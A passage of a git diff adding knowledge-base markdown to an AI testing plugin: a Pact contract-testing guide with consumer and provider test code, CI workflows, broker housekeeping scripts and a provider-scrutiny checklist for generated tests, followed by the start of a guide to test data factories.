+      // Arrange: Define expected interaction
+      await provider
+        .given('user with id 1 exists') // Provider state
+        .uponReceiving('a request for user 1')
+        .withRequest({
+          method: 'GET',
+          path: '/users/1',
+          headers: {
+            Accept: 'application/json',
+            Authorization: like('Bearer token123'), // Matcher: any string
+          },
+        })
+        .willRespondWith({
+          status: 200,
+          headers: {
+            'Content-Type': 'application/json',
+          },
+          body: like({
+            id: integer(1),
+            name: string('John Doe'),
+            email: string('john@example.com'),
+            role: string('user'),
+            createdAt: string('2025-01-15T10:00:00Z'),
+          }),
+        })
+        .executeTest(async (mockServer) => {
+          // Act: Call consumer code against mock server
+          const user = await getUserById(1, {
+            baseURL: mockServer.url,
+            headers: { Authorization: 'Bearer token123' },
+          });
+
+          // Assert: Validate consumer behavior
+          expect(user).toEqual(
+            expect.objectContaining({
+              id: 1,
+              name: 'John Doe',
+              email: 'john@example.com',
+              role: 'user',
+            }),
+          );
+        });
+    });
+
+    it('should handle 404 when user does not exist', async () => {
+      await provider
+        .given('user with id 999 does not exist')
+        .uponReceiving('a request for non-existent user')
+        .withRequest({
+          method: 'GET',
+          path: '/users/999',
+          headers: { Accept: 'application/json' },
+        })
+        .willRespondWith({
+          status: 404,
+          headers: { 'Content-Type': 'application/json' },
+          body: {
+            error: 'User not found',
+            code: 'USER_NOT_FOUND',
+          },
+        })
+        .executeTest(async (mockServer) => {
+          // Act & Assert: Consumer handles 404 gracefully
+          await expect(getUserById(999, { baseURL: mockServer.url })).rejects.toThrow('User not found');
+        });
+    });
+  });
+
+  describe('POST /users', () => {
+    it('should create user and return 201', async () => {
+      const newUser: Omit<User, 'id' | 'createdAt'> = {
+        name: 'Jane Smith',
+        email: 'jane@example.com',
+        role: 'admin',
+      };
+
+      await provider
+        .given('no users exist')
+        .uponReceiving('a request to create a user')
+        .withRequest({
+          method: 'POST',
+          path: '/users',
+          headers: {
+            'Content-Type': 'application/json',
+            Accept: 'application/json',
+          },
+          body: newUser,
+        })
+        .willRespondWith({
+          status: 201,
+          headers: { 'Content-Type': 'application/json' },
+          body: like({
+            id: integer(2),
+            name: string('Jane Smith'),
+            email: string('jane@example.com'),
+            role: string('admin'),
+            createdAt: string('2025-01-15T11:00:00Z'),
+          }),
+        })
+        .executeTest(async (mockServer) => {
+          const createdUser = await createUser(newUser, {
+            baseURL: mockServer.url,
+          });
+
+          expect(createdUser).toEqual(
+            expect.objectContaining({
+              id: expect.any(Number),
+              name: 'Jane Smith',
+              email: 'jane@example.com',
+              role: 'admin',
+            }),
+          );
+        });
+    });
+  });
+});
+```
+
+**package.json scripts** (when using pactjs-utils conventions, prefer `test:pact:consumer` naming — see `pact-consumer-framework-setup.md`):
+
+```json
+{
+  "scripts": {
+    "test:pact:consumer": "vitest run --config vitest.config.pact.ts",
+    "publish:pact": ". ./scripts/env-setup.sh && ./scripts/publish-pact.sh"
+  }
+}
+```
+
+**Key Points**:
+
+- **Consumer-driven**: Frontend defines expectations, not backend
+- **Matchers (Postel's Law)**: Use `like`, `string`, `integer` matchers in `willRespondWith` (responses) for flexible matching. Do NOT use `like()` on request bodies in `withRequest` — the consumer controls what it sends, so request bodies should use exact values. This follows Postel's Law: be strict in what you send (requests), be lenient in what you accept (responses).
+- **Provider states**: given() sets up test preconditions
+- **Isolation**: No real backend needed, runs fast
+- **Pact generation**: Automatically creates JSON pact files
+
+---
+
+### Example 2: Pact Provider Verification (Backend validates contracts)
+
+**Context**: Node.js/Express API verifying pacts published by consumers.
+
+**Implementation**:
+
+```typescript
+// tests/contract/user-api.provider.spec.ts
+import { Verifier, VerifierOptions } from '@pact-foundation/pact';
+import { server } from '../../src/server'; // Your Express/Fastify app
+import { seedDatabase, resetDatabase } from '../support/db-helpers';
+
+/**
+ * Provider Verification Test
+ * - Provider (backend API) verifies against published pacts
+ * - State handlers setup test data for each interaction
+ * - Runs before merge to catch breaking changes
+ */
+
+describe('Pact Provider Verification', () => {
+  let serverInstance;
+  const PORT = 3001;
+
+  beforeAll(async () => {
+    // Start provider server
+    serverInstance = server.listen(PORT);
+    console.log(`Provider server running on port ${PORT}`);
+  });
+
+  afterAll(async () => {
+    // Cleanup
+    await serverInstance.close();
+  });
+
+  it('should verify pacts from all consumers', async () => {
+    const opts: VerifierOptions = {
+      // Provider details
+      provider: 'user-api-service',
+      providerBaseUrl: `http://localhost:${PORT}`,
+
+      // Pact Broker configuration
+      pactBrokerUrl: process.env.PACT_BROKER_BASE_URL,
+      pactBrokerToken: process.env.PACT_BROKER_TOKEN,
+      publishVerificationResult: process.env.CI === 'true',
+      providerVersion: process.env.GITHUB_SHA || 'dev',
+
+      // State handlers: Setup provider state for each interaction
+      stateHandlers: {
+        'user with id 1 exists': async () => {
+          await seedDatabase({
+            users: [
+              {
+                id: 1,
+                name: 'John Doe',
+                email: 'john@example.com',
+                role: 'user',
+                createdAt: '2025-01-15T10:00:00Z',
+              },
+            ],
+          });
+          return 'User seeded successfully';
+        },
+
+        'user with id 999 does not exist': async () => {
+          // Ensure user doesn't exist
+          await resetDatabase();
+          return 'Database reset';
+        },
+
+        'no users exist': async () => {
+          await resetDatabase();
+          return 'Database empty';
+        },
+      },
+
+      // Request filters: Add auth headers to all requests
+      requestFilter: (req, res, next) => {
+        // Mock authentication for verification
+        req.headers['x-user-id'] = 'test-user';
+        req.headers['authorization'] = 'Bearer valid-test-token';
+        next();
+      },
+
+      // Timeout for verification
+      timeout: 30000,
+    };
+
+    // Run verification
+    await new Verifier(opts).verifyProvider();
+  });
+});
+```
+
+**CI integration**:
+
+```yaml
+# .github/workflows/contract-test-provider.yml
+# NOTE: Canonical naming is contract-test-provider.yml per pactjs-utils conventions
+name: Pact Provider Verification
+on:
+  pull_request:
+  push:
+    branches: [main]
+
+jobs:
+  verify-contracts:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+
+      - name: Setup Node.js
+        uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Start database
+        run: docker-compose up -d postgres
+
+      - name: Run migrations
+        run: npm run db:migrate
+
+      - name: Verify pacts
+        run: npm run test:pact:provider:remote:contract
+        env:
+          PACT_BROKER_BASE_URL: ${{ secrets.PACT_BROKER_BASE_URL }}
+          PACT_BROKER_TOKEN: ${{ secrets.PACT_BROKER_TOKEN }}
+          GITHUB_SHA: ${{ github.sha }}
+          GITHUB_BRANCH: ${{ github.head_ref || github.ref_name }}
+
+      - name: Can I Deploy?
+        if: github.ref == 'refs/heads/main'
+        run: npm run can:i:deploy:provider
+```
+
+**Key Points**:
+
+- **State handlers**: Setup provider data for each given() state
+- **Request filters**: Add auth/headers for verification requests
+- **CI publishing**: Verification results sent to broker
+- **can-i-deploy**: Safety check before production deployment
+- **Database isolation**: Reset between state handlers
+
+---
+
+### Example 3: Contract CI Integration (Consumer & Provider Workflow)
+
+**Context**: Simplified overview of consumer and provider CI coordination. For the complete consumer CI workflow with env blocks, concurrency, and breaking-change detection, see `pact-consumer-framework-setup.md` Example 5.
+
+**Implementation**:
+
+```yaml
+# .github/workflows/contract-test-consumer.yml (Consumer side)
+# NOTE: Canonical naming is contract-test-consumer.yml per pactjs-utils conventions
+name: Pact Consumer Tests
+on:
+  pull_request:
+  push:
+    branches: [main]
+
+jobs:
+  consumer-tests:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+
+      - name: Setup Node.js
+        uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Run consumer contract tests
+        run: npm run test:pact:consumer
+
+      - name: Publish pacts to broker
+        run: npm run publish:pact
+
+      - name: Can I deploy consumer? (main only)
+        if: github.ref == 'refs/heads/main' && env.PACT_BREAKING_CHANGE != 'true'
+        run: npm run can:i:deploy:consumer
+
+      - name: Record consumer deployment (main only)
+        if: github.ref == 'refs/heads/main'
+        run: npm run record:consumer:deployment --env=dev
+```
+
+```yaml
+# .github/workflows/contract-test-provider.yml (Provider side)
+# NOTE: Canonical naming is contract-test-provider.yml per pactjs-utils conventions
+name: Pact Provider Verification
+on:
+  pull_request:
+  push:
+    branches: [main]
+  repository_dispatch:
+    types: [pact_changed] # Webhook from Pact Broker
+
+jobs:
+  verify-contracts:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+
+      - name: Setup Node.js
+        uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Start dependencies
+        run: docker-compose up -d
+
+      - name: Run provider verification
+        run: npm run test:pact:provider:remote:contract
+        env:
+          PACT_BROKER_BASE_URL: ${{ secrets.PACT_BROKER_BASE_URL }}
+          PACT_BROKER_TOKEN: ${{ secrets.PACT_BROKER_TOKEN }}
+          GITHUB_SHA: ${{ github.sha }}
+          GITHUB_BRANCH: ${{ github.head_ref || github.ref_name }}
+
+      - name: Can I deploy provider? (main only)
+        if: github.ref == 'refs/heads/main' && env.PACT_BREAKING_CHANGE != 'true'
+        run: npm run can:i:deploy:provider
+
+      - name: Record provider deployment (main only)
+        if: github.ref == 'refs/heads/main'
+        run: npm run record:provider:deployment --env=dev
+```
+
+**Pact Broker Webhook Configuration**:
+
+```json
+{
+  "events": [
+    {
+      "name": "contract_content_changed"
+    }
+  ],
+  "request": {
+    "method": "POST",
+    "url": "https://api.github.com/repos/your-org/user-api/dispatches",
+    "headers": {
+      "Authorization": "Bearer ${user.githubToken}",
+      "Content-Type": "application/json",
+      "Accept": "application/vnd.github.v3+json"
+    },
+    "body": {
+      "event_type": "pact_changed",
+      "client_payload": {
+        "pact_url": "${pactbroker.pactUrl}",
+        "consumer": "${pactbroker.consumerName}",
+        "provider": "${pactbroker.providerName}"
+      }
+    }
+  }
+}
+```
+
+**Key Points**:
+
+- **Automatic trigger**: Consumer pact changes trigger provider verification via webhook
+- **Branch tracking**: Pacts published per branch for feature testing
+- **can-i-deploy**: Safety gate before production deployment
+- **Record deployment**: Track which version is in each environment
+- **Parallel dev**: Consumer and provider teams work independently
+
+---
+
+### Example 4: Resilience Coverage (Testing Fallback Behavior)
+
+**Context**: Capture timeout, retry, and error handling behavior explicitly in contracts.
+
+**Implementation**:
+
+```typescript
+// tests/contract/user-api-resilience.pact.spec.ts
+import { PactV3, MatchersV3 } from '@pact-foundation/pact';
+import { getUserById, ApiError } from '@/api/user-service';
+
+const { like, string } = MatchersV3;
+
+const provider = new PactV3({
+  consumer: 'user-management-web',
+  provider: 'user-api-service',
+  dir: './pacts',
+});
+
+describe('User API Resilience Contract', () => {
+  /**
+   * Test 500 error handling
+   * Verifies consumer handles server errors gracefully
+   */
+  it('should handle 500 errors with retry logic', async () => {
+    await provider
+      .given('server is experiencing errors')
+      .uponReceiving('a request that returns 500')
+      .withRequest({
+        method: 'GET',
+        path: '/users/1',
+        headers: { Accept: 'application/json' },
+      })
+      .willRespondWith({
+        status: 500,
+        headers: { 'Content-Type': 'application/json' },
+        body: {
+          error: 'Internal server error',
+          code: 'INTERNAL_ERROR',
+          retryable: true,
+        },
+      })
+      .executeTest(async (mockServer) => {
+        // Consumer should retry on 500
+        try {
+          await getUserById(1, {
+            baseURL: mockServer.url,
+            retries: 3,
+            retryDelay: 100,
+          });
+          fail('Should have thrown error after retries');
+        } catch (error) {
+          expect(error).toBeInstanceOf(ApiError);
+          expect((error as ApiError).code).toBe('INTERNAL_ERROR');
+          expect((error as ApiError).retryable).toBe(true);
+        }
+      });
+  });
+
+  /**
+   * Test 429 rate limiting
+   * Verifies consumer respects rate limits
+   */
+  it('should handle 429 rate limit with backoff', async () => {
+    await provider
+      .given('rate limit exceeded for user')
+      .uponReceiving('a request that is rate limited')
+      .withRequest({
+        method: 'GET',
+        path: '/users/1',
+      })
+      .willRespondWith({
+        status: 429,
+        headers: {
+          'Content-Type': 'application/json',
+          'Retry-After': '60', // Retry after 60 seconds
+        },
+        body: {
+          error: 'Too many requests',
+          code: 'RATE_LIMIT_EXCEEDED',
+        },
+      })
+      .executeTest(async (mockServer) => {
+        try {
+          await getUserById(1, {
+            baseURL: mockServer.url,
+            respectRateLimit: true,
+          });
+          fail('Should have thrown rate limit error');
+        } catch (error) {
+          expect(error).toBeInstanceOf(ApiError);
+          expect((error as ApiError).code).toBe('RATE_LIMIT_EXCEEDED');
+          expect((error as ApiError).retryAfter).toBe(60);
+        }
+      });
+  });
+
+  /**
+   * Test timeout handling
+   * Verifies consumer has appropriate timeout configuration
+   */
+  it('should timeout after 10 seconds', async () => {
+    await provider
+      .given('server is slow to respond')
+      .uponReceiving('a request that times out')
+      .withRequest({
+        method: 'GET',
+        path: '/users/1',
+      })
+      .willRespondWith({
+        status: 200,
+        headers: { 'Content-Type': 'application/json' },
+        body: like({ id: 1, name: 'John' }),
+      })
+      .withDelay(15000) // Simulate 15 second delay
+      .executeTest(async (mockServer) => {
+        try {
+          await getUserById(1, {
+            baseURL: mockServer.url,
+            timeout: 10000, // 10 second timeout
+          });
+          fail('Should have timed out');
+        } catch (error) {
+          expect(error).toBeInstanceOf(ApiError);
+          expect((error as ApiError).code).toBe('TIMEOUT');
+        }
+      });
+  });
+
+  /**
+   * Test partial response (optional fields)
+   * Verifies consumer handles missing optional data
+   */
+  it('should handle response with missing optional fields', async () => {
+    await provider
+      .given('user exists with minimal data')
+      .uponReceiving('a request for user with partial data')
+      .withRequest({
+        method: 'GET',
+        path: '/users/1',
+      })
+      .willRespondWith({
+        status: 200,
+        headers: { 'Content-Type': 'application/json' },
+        body: {
+          id: integer(1),
+          name: string('John Doe'),
+          email: string('john@example.com'),
+          // role, createdAt, etc. omitted (optional fields)
+        },
+      })
+      .executeTest(async (mockServer) => {
+        const user = await getUserById(1, { baseURL: mockServer.url });
+
+        // Consumer handles missing optional fields gracefully
+        expect(user.id).toBe(1);
+        expect(user.name).toBe('John Doe');
+        expect(user.role).toBeUndefined(); // Optional field
+        expect(user.createdAt).toBeUndefined(); // Optional field
+      });
+  });
+});
+```
+
+**API client with retry logic**:
+
+```typescript
+// src/api/user-service.ts
+import axios, { AxiosInstance, AxiosRequestConfig } from 'axios';
+
+export class ApiError extends Error {
+  constructor(
+    message: string,
+    public code: string,
+    public retryable: boolean = false,
+    public retryAfter?: number,
+  ) {
+    super(message);
+  }
+}
+
+/**
+ * User API client with retry and error handling
+ */
+export async function getUserById(
+  id: number,
+  config?: AxiosRequestConfig & { retries?: number; retryDelay?: number; respectRateLimit?: boolean },
+): Promise<User> {
+  const { retries = 3, retryDelay = 1000, respectRateLimit = true, ...axiosConfig } = config || {};
+
+  let lastError: Error;
+
+  for (let attempt = 1; attempt <= retries; attempt++) {
+    try {
+      const response = await axios.get(`/users/${id}`, axiosConfig);
+      return response.data;
+    } catch (error: any) {
+      lastError = error;
+
+      // Handle rate limiting
+      if (error.response?.status === 429) {
+        const retryAfter = parseInt(error.response.headers['retry-after'] || '60');
+        throw new ApiError('Too many requests', 'RATE_LIMIT_EXCEEDED', false, retryAfter);
+      }
+
+      // Retry on 500 errors
+      if (error.response?.status === 500 && attempt < retries) {
+        await new Promise((resolve) => setTimeout(resolve, retryDelay * attempt));
+        continue;
+      }
+
+      // Handle 404
+      if (error.response?.status === 404) {
+        throw new ApiError('User not found', 'USER_NOT_FOUND', false);
+      }
+
+      // Handle timeout
+      if (error.code === 'ECONNABORTED') {
+        throw new ApiError('Request timeout', 'TIMEOUT', true);
+      }
+
+      break;
+    }
+  }
+
+  throw new ApiError('Request failed after retries', 'INTERNAL_ERROR', true);
+}
+```
+
+**Key Points**:
+
+- **Resilience contracts**: Timeouts, retries, errors explicitly tested
+- **State handlers**: Provider sets up each test scenario
+- **Error handling**: Consumer validates graceful degradation
+- **Retry logic**: Exponential backoff tested
+- **Optional fields**: Consumer handles partial responses
+
+---
+
+### Example 5: Pact Broker Housekeeping & Lifecycle Management
+
+**Context**: Automated broker maintenance to prevent contract sprawl and noise.
+
+**Implementation**:
+
+```typescript
+// scripts/pact-broker-housekeeping.ts
+/**
+ * Pact Broker Housekeeping Script
+ * - Archive superseded contracts
+ * - Expire unused pacts
+ * - Tag releases for environment tracking
+ */
+
+import { execFileSync } from 'node:child_process';
+
+const PACT_BROKER_BASE_URL = process.env.PACT_BROKER_BASE_URL!;
+const PACT_BROKER_TOKEN = process.env.PACT_BROKER_TOKEN!;
+const PACTICIPANT = 'user-api-service';
+
+/**
+ * Tag release with environment
+ */
+function tagRelease(version: string, environment: 'staging' | 'production') {
+  console.log(`🏷️  Tagging ${PACTICIPANT} v${version} as ${environment}`);
+
+  execFileSync(
+    'pact-broker',
+    [
+      'create-version-tag',
+      '--pacticipant',
+      PACTICIPANT,
+      '--version',
+      version,
+      '--tag',
+      environment,
+      '--broker-base-url',
+      PACT_BROKER_BASE_URL,
+      '--broker-token',
+      PACT_BROKER_TOKEN,
+    ],
+    { stdio: 'inherit' },
+  );
+}
+
+/**
+ * Record deployment to environment
+ */
+function recordDeployment(version: string, environment: 'staging' | 'production') {
+  console.log(`📝 Recording deployment of ${PACTICIPANT} v${version} to ${environment}`);
+
+  execFileSync(
+    'pact-broker',
+    [
+      'record-deployment',
+      '--pacticipant',
+      PACTICIPANT,
+      '--version',
+      version,
+      '--environment',
+      environment,
+      '--broker-base-url',
+      PACT_BROKER_BASE_URL,
+      '--broker-token',
+      PACT_BROKER_TOKEN,
+    ],
+    { stdio: 'inherit' },
+  );
+}
+
+/**
+ * Clean up old pact versions (retention policy)
+ * Keep: last 30 days, all production tags, latest from each branch
+ */
+function cleanupOldPacts() {
+  console.log(`🧹 Cleaning up old pacts for ${PACTICIPANT}`);
+
+  execFileSync(
+    'pact-broker',
+    [
+      'clean',
+      '--pacticipant',
+      PACTICIPANT,
+      '--broker-base-url',
+      PACT_BROKER_BASE_URL,
+      '--broker-token',
+      PACT_BROKER_TOKEN,
+      '--keep-latest-for-branch',
+      '1',
+      '--keep-min-age',
+      '30',
+    ],
+    { stdio: 'inherit' },
+  );
+}
+
+/**
+ * Check deployment compatibility
+ */
+function canIDeploy(version: string, toEnvironment: string): boolean {
+  console.log(`🔍 Checking if ${PACTICIPANT} v${version} can deploy to ${toEnvironment}`);
+
+  try {
+    execFileSync(
+      'pact-broker',
+      [
+        'can-i-deploy',
+        '--pacticipant',
+        PACTICIPANT,
+        '--version',
+        version,
+        '--to-environment',
+        toEnvironment,
+        '--broker-base-url',
+        PACT_BROKER_BASE_URL,
+        '--broker-token',
+        PACT_BROKER_TOKEN,
+        '--retry-while-unknown',
+        '10',
+        '--retry-interval',
+        '30',
+      ],
+      { stdio: 'inherit' },
+    );
+    return true;
+  } catch (error) {
+    console.error(`❌ Cannot deploy to ${toEnvironment}`);
+    return false;
+  }
+}
+
+/**
+ * Main housekeeping workflow
+ */
+async function main() {
+  const command = process.argv[2];
+  const version = process.argv[3];
+  const environment = process.argv[4] as 'staging' | 'production';
+
+  switch (command) {
+    case 'tag-release':
+      tagRelease(version, environment);
+      break;
+
+    case 'record-deployment':
+      recordDeployment(version, environment);
+      break;
+
+    case 'can-i-deploy':
+      const canDeploy = canIDeploy(version, environment);
+      process.exit(canDeploy ? 0 : 1);
+
+    case 'cleanup':
+      cleanupOldPacts();
+      break;
+
+    default:
+      console.error('Unknown command. Use: tag-release | record-deployment | can-i-deploy | cleanup');
+      process.exit(1);
+  }
+}
+
+main();
+```
+
+**package.json scripts**:
+
+```json
+{
+  "scripts": {
+    "pact:tag": "ts-node scripts/pact-broker-housekeeping.ts tag-release",
+    "pact:record": "ts-node scripts/pact-broker-housekeeping.ts record-deployment",
+    "pact:can-deploy": "ts-node scripts/pact-broker-housekeeping.ts can-i-deploy",
+    "pact:cleanup": "ts-node scripts/pact-broker-housekeeping.ts cleanup"
+  }
+}
+```
+
+**Deployment workflow integration**:
+
+```yaml
+# .github/workflows/deploy-production.yml
+name: Deploy to Production
+on:
+  push:
+    tags:
+      - 'v*'
+
+jobs:
+  verify-contracts:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+
+      - name: Check pact compatibility
+        run: npm run pact:can-deploy ${{ github.ref_name }} production
+        env:
+          PACT_BROKER_BASE_URL: ${{ secrets.PACT_BROKER_BASE_URL }}
+          PACT_BROKER_TOKEN: ${{ secrets.PACT_BROKER_TOKEN }}
+
+  deploy:
+    needs: verify-contracts
+    runs-on: ubuntu-latest
+    steps:
+      - name: Deploy to production
+        run: ./scripts/deploy.sh production
+
+      - name: Record deployment in Pact Broker
+        run: npm run pact:record ${{ github.ref_name }} production
+        env:
+          PACT_BROKER_BASE_URL: ${{ secrets.PACT_BROKER_BASE_URL }}
+          PACT_BROKER_TOKEN: ${{ secrets.PACT_BROKER_TOKEN }}
+```
+
+**Scheduled cleanup**:
+
+```yaml
+# .github/workflows/pact-housekeeping.yml
+name: Pact Broker Housekeeping
+on:
+  schedule:
+    - cron: '0 2 * * 0' # Weekly on Sunday at 2 AM
+
+jobs:
+  cleanup:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+
+      - name: Cleanup old pacts
+        run: npm run pact:cleanup
+        env:
+          PACT_BROKER_BASE_URL: ${{ secrets.PACT_BROKER_BASE_URL }}
+          PACT_BROKER_TOKEN: ${{ secrets.PACT_BROKER_TOKEN }}
+```
+
+**Key Points**:
+
+- **Automated tagging**: Releases tagged with environment
+- **Deployment tracking**: Broker knows which version is where
+- **Safety gate**: can-i-deploy blocks incompatible deployments
+- **Retention policy**: Keep recent, production, and branch-latest pacts
+- **Webhook triggers**: Provider verification runs on consumer changes
+
+---
+
+## Provider Scrutiny Protocol
+
+When generating consumer contract tests, the agent **MUST** analyze provider source code — or the provider's OpenAPI/Swagger spec — before writing any Pact interaction. Generating contracts from consumer-side assumptions alone leads to mismatches that only surface during provider verification — wrong response shapes, wrong status codes, wrong field names, wrong types, missing required fields, and wrong enum values.
+
+**Source priority**: Provider source code is the most authoritative reference. When an OpenAPI/Swagger spec exists (`openapi.yaml`, `openapi.json`, `swagger.json`), use it as a complementary or alternative source — it documents the provider's contract explicitly and can be faster to parse than tracing through handler code. When both exist, cross-reference them; if they disagree, the source code wins.
+
+### Provider Endpoint Comment
+
+Every Pact interaction MUST include a provider endpoint comment immediately above the `.given()` call:
+
+```typescript
+// Provider endpoint: server/src/routes/userRouteHandlers.ts -> GET /api/v2/users/:userId
+await provider.given('user with id 1 exists').uponReceiving('a request for user 1');
+```
+
+**Format**: `// Provider endpoint: <relative-path-to-handler> -> <METHOD> <route-pattern>`
+
+If the provider source is not accessible, use: `// Provider endpoint: TODO — provider source not accessible, verify manually`
+
+### Seven-Point Scrutiny Checklist
+
+Before generating each Pact interaction, read the provider route handler and/or OpenAPI spec and verify:
+
+| #   | Check                 | What to Read (source code / OpenAPI spec)                         | Common Mismatch                                               |
+| --- | --------------------- | ----------------------------------------------------------------- | ------------------------------------------------------------- |
+| 1   | **Response shape**    | Handler's `res.json()` calls / OpenAPI `responses.content.schema` | Nested object vs flat; array wrapper vs direct                |
+| 2   | **Status codes**      | Handler's `res.status()` calls / OpenAPI `responses` keys         | 200 vs 201 for creation; 204 vs 200 for delete                |
+| 3   | **Field names**       | Response type/DTO definitions / OpenAPI `schema.properties`       | `transaction_id` vs `transactionId`; `fraud_score` vs `score` |
+| 4   | **Enum values**       | Validation schemas, constants / OpenAPI `schema.enum`             | `"active"` vs `"ACTIVE"`; `"pending"` vs `"in_progress"`      |
+| 5   | **Required fields**   | Request validation (Joi, Zod) / OpenAPI `schema.required`         | Missing required header; optional field assumed required      |
+| 6   | **Data types**        | TypeScript types, DB models / OpenAPI `schema.type` + `format`    | `string` ID vs `number` ID; ISO date vs Unix timestamp        |
+| 7   | **Nested structures** | Response builder, serializer / OpenAPI `$ref` + `allOf`/`oneOf`   | `{ data: { items: [] } }` vs `{ items: [] }`                  |
+
+### Scrutiny Evidence Block
+
+Document what was found from provider source and/or OpenAPI spec as a block comment in the test file:
+
+```typescript
+/*
+ * Provider Scrutiny Evidence:
+ * - Handler: server/src/routes/userRouteHandlers.ts:45
+ * - OpenAPI: server/openapi.yaml paths./api/v2/users/{userId}.get (if available)
+ * - Response type: UserResponseDto (server/src/types/user.ts:12)
+ * - Status: 200 (line 52), 404 (line 48)
+ * - Fields: { id: number, name: string, email: string, role: "user" | "admin", createdAt: string }
+ * - Required request headers: Authorization (Bearer token)
+ * - Validation: Zod schema at server/src/validation/user.ts:8
+ */
+```
+
+### Graceful Degradation
+
+When provider source code is not accessible (different repo, no access, closed source):
+
+1. **OpenAPI/Swagger spec available**: Use the spec as the source of truth for response shapes, status codes, and field names
+2. **Pact Broker has existing contracts**: Use `pact_mcp` tools to fetch existing provider states and verified interactions as reference
+3. **Neither available**: Generate contracts from consumer-side types but use the TODO form of the mandatory comment: `// Provider endpoint: TODO — provider source not accessible, verify manually` and add a `provider_scrutiny: "pending"` field to the output JSON
+4. **Never silently guess**: If you cannot verify, document what you assumed and why
+
+---
+
+## Contract Testing Checklist
+
+Before implementing contract testing, verify:
+
+- [ ] **Pact Broker setup**: Hosted (Pactflow) or self-hosted broker configured
+- [ ] **Consumer tests**: Generate pacts in CI, publish to broker on merge
+- [ ] **Provider verification**: Runs on PR, verifies all consumer pacts
+- [ ] **State handlers**: Provider implements all given() states
+- [ ] **can-i-deploy**: Blocks deployment if contracts incompatible
+- [ ] **Webhooks configured**: Consumer changes trigger provider verification
+- [ ] **Retention policy**: Old pacts archived (keep 30 days, all production tags)
+- [ ] **Resilience tested**: Timeouts, retries, error codes in contracts
+- [ ] **Provider endpoint comments**: Every Pact interaction has `// Provider endpoint:` comment
+- [ ] **Provider scrutiny completed**: Seven-point checklist verified for each interaction
+- [ ] **Scrutiny evidence documented**: Block comment with handler, types, status codes, and fields
+
+## Integration Points
+
+- Used in workflows: `*automate` (integration test generation), `*ci` (contract CI setup)
+- Related fragments: `test-levels-framework.md`, `ci-burn-in.md`, `pact-consumer-framework-setup.md`
+- Tools: Pact.js, Pact Broker (Pactflow or self-hosted), Pact CLI
+
+---
+
+## Pact.js Utils Accelerator
+
+When `tea_use_pactjs_utils` is enabled, the following utilities replace manual boilerplate:
+
+| Manual Pattern (raw Pact.js)                             | Pact.js Utils Equivalent                                                          | Benefit                                                               |
+| -------------------------------------------------------- | --------------------------------------------------------------------------------- | --------------------------------------------------------------------- |
+| Manual `JsonMap` casting for `.given()` params           | `createProviderState({ name, params })`                                           | Type-safe, auto-conversion of Date/null/nested objects                |
+| Repeated builder callbacks for query/header/body         | `setJsonContent({ query, headers, body })`                                        | Reusable callback for `.withRequest(...)` and `.willRespondWith(...)` |
+| Inline body lambda `(builder) => builder.jsonBody(body)` | `setJsonBody(body)`                                                               | Body-only shorthand for cleaner response builders                     |
+| 30+ lines of `VerifierOptions` assembly                  | `buildVerifierOptions({ provider, port, includeMainAndDeployed, stateHandlers })` | One-call setup, env-aware, flow auto-detection                        |
+| Manual broker URL + selector logic from env vars         | `handlePactBrokerUrlAndSelectors({ ..., options })`                               | Mutates options in-place with broker URL and selectors                |
+| DIY Express middleware for auth injection                | `createRequestFilter({ tokenGenerator })`                                         | Bearer prefix contract prevents double-prefix bugs                    |
+| Manual CI branch/tag extraction                          | `getProviderVersionTags()`                                                        | CI-aware (GitHub Actions, GitLab CI, etc.)                            |
+| Message verifier config assembly                         | `buildMessageVerifierOptions({ provider, messageProviders })`                     | Same one-call pattern for Kafka/async contracts                       |
+| Inline no-op filter `(req, res, next) => next()`         | `noOpRequestFilter`                                                               | Pre-built pass-through for no-auth providers                          |
+
+See the `pactjs-utils-*.md` knowledge fragments for complete examples and anti-patterns.
+
+_Source: Pact consumer/provider sample repos, Murat contract testing blog, Pact official documentation, @seontechnologies/pactjs-utils library_
diff --git a/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/data-factories.md b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/data-factories.md
new file mode 100644
index 0000000..6820a30
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/data-factories.md
@@ -0,0 +1,500 @@
+# Data Factories and API-First Setup
+
+## Principle
+
+Prefer factory functions that accept overrides and return complete objects (`createUser(overrides)`). Seed test state through APIs, tasks, or direct DB helpers before visiting the UI—never via slow UI interactions. UI is for validation only, not setup.
+
+## Rationale
+
+Static fixtures (JSON files, hardcoded objects) create brittle tests that:
+
+- Fail when schemas evolve (missing new required fields)
+- Cause collisions in parallel execution (same user IDs)
+- Hide test intent (what matters for _this_ test?)
+
+Dynamic factories with overrides provide:
+
+- **Parallel safety**: UUIDs and timestamps prevent collisions
+- **Schema evolution**: Defaults adapt to schema changes automatically
+- **Explicit intent**: Overrides show what matters for each test
+- **Speed**: API setup is 10-50x faster than UI
+
+## Pattern Examples
+
+### Example 1: Factory Function with Overrides
+
+**Context**: When creating test data, build factory functions with sensible defaults and explicit overrides. Use `faker` for dynamic values that prevent collisions.
+
+**Implementation**:
+
+```typescript
+// test-utils/factories/user-factory.ts
+import { faker } from '@faker-js/faker';
+
+type User = {
+  id: string;
+  email: string;
+  name: string;
+  role: 'user' | 'admin' | 'moderator';
+  createdAt: Date;
+  isActive: boolean;
+};
+
+export const createUser = (overrides: Partial<User> = {}): User => ({
+  id: faker.string.uuid(),
+  email: faker.internet.email(),
+  name: faker.person.fullName(),
+  role: 'user',
+  createdAt: new Date(),
+  isActive: true,
+  ...overrides,
+});
+
+// test-utils/factories/product-factory.ts
+type Product = {
+  id: string;
+  name: string;
+  price: number;
+  stock: number;
+  category: string;
+};
+
+export const createProduct = (overrides: Partial<Product> = {}): Product => ({
+  id: faker.string.uuid(),
+  name: faker.commerce.productName(),
+  price: parseFloat(faker.commerce.price()),
